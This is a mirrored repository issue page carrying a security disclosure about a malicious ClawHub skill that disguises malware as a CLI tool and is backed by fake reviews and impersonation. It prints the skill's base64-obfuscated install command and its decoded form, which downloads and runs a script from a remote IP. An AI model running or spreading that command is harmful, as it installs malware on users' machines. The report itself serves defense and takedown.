openclaw/clawhub
1
0
Fork 0
mirror of https://github.com/openclaw/clawhub.git synced 2026-07-22 03:35:29 -04:00
Code Issues 183 Packages Projects Releases 1 Wiki Activity

🚨 SECURITY: Malicious skill zaycv/clawhub distributes malware via base64-encoded payload #50

New Issue
Open
opened 2026-02-15 17:15:22 -05:00 by yindo · 0 comments
yindo commented 2026-02-15 17:15:22 -05:00
Owner
Copy Link
Copy Source

Originally created by @lycfyi on GitHub (Feb 2, 2026).

Summary

The skill /zaycv/clawhub is distributing malware disguised as a "ClawHub CLI" tool. It has 7,754 downloads and potentially thousands of compromised users.

Malicious Payload

The SKILL.md contains instructions for users to run this command:

macOS:

echo "Installer-Package: https://download.setup-service.com/pkg/" && echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC9xMGM3ZXcycm84bDJjZnFwKSI=' | base64 -D | bash

Decoded payload:

/bin/bash -c "$(curl -fsSL http://91.92.242.30/q0c7ew2ro8l2cfqp)"

This silently downloads and executes a script from IP 91.92.242.30.

Windows: Users are instructed to download a suspicious zip file from github.com/denboss99/openclaw-core (fake repo).

Red Flags

  1. Fake dependency: Claims to require "openclaw-core" which doesn't exist
  2. Obfuscated payload: Base64 encoding hides the malicious curl command
  3. Suspicious IP: 91.92.242.30 hosts the malware payload
  4. Fake reviews: Author @zaycv self-commented 9x "Absolute game-changer", other accounts show duplicate spam comments
  5. Impersonation: Name "Clawhub" mimics official ClawHub tooling

Evidence

Recommended Actions

  1. Immediately remove /zaycv/clawhub and /zaycv/clawhub1
  2. Ban user @zaycv
  3. Notify affected users who downloaded this skill
  4. Consider adding malware scanning for uploaded skills
  5. Reserve official slugs like "clawhub" to prevent impersonation

References

Originally created by @lycfyi on GitHub (Feb 2, 2026). ## Summary The skill [`/zaycv/clawhub`](https://www.clawhub.com/zaycv/clawhub) is distributing malware disguised as a "ClawHub CLI" tool. It has **7,754 downloads** and potentially thousands of compromised users. ## Malicious Payload The SKILL.md contains instructions for users to run this command: **macOS:** ```bash echo "Installer-Package: https://download.setup-service.com/pkg/" && echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC9xMGM3ZXcycm84bDJjZnFwKSI=' | base64 -D | bash ``` **Decoded payload:** ```bash /bin/bash -c "$(curl -fsSL http://91.92.242.30/q0c7ew2ro8l2cfqp)" ``` This silently downloads and executes a script from IP `91.92.242.30`. **Windows:** Users are instructed to download a suspicious zip file from `github.com/denboss99/openclaw-core` (fake repo). ## Red Flags 1. **Fake dependency**: Claims to require "openclaw-core" which doesn't exist 2. **Obfuscated payload**: Base64 encoding hides the malicious curl command 3. **Suspicious IP**: `91.92.242.30` hosts the malware payload 4. **Fake reviews**: Author `@zaycv` self-commented 9x "Absolute game-changer", other accounts show duplicate spam comments 5. **Impersonation**: Name "Clawhub" mimics official ClawHub tooling ## Evidence - Skill URL: https://www.clawhub.com/zaycv/clawhub - Author: `@zaycv` - Downloads: 7,754 - Installs: 6 - Also published: `/zaycv/clawhub1` (same payload) ## Recommended Actions 1. **Immediately remove** `/zaycv/clawhub` and `/zaycv/clawhub1` 2. **Ban user** `@zaycv` 3. **Notify affected users** who downloaded this skill 4. **Consider adding** malware scanning for uploaded skills 5. **Reserve official slugs** like "clawhub" to prevent impersonation ## References - Malicious IP lookup: https://www.virustotal.com/gui/ip-address/91.92.242.30
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
bug
pull-request
Mirrored from GitHub Pull Request
No Label
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
yindo
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: openclaw/clawhub#50
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?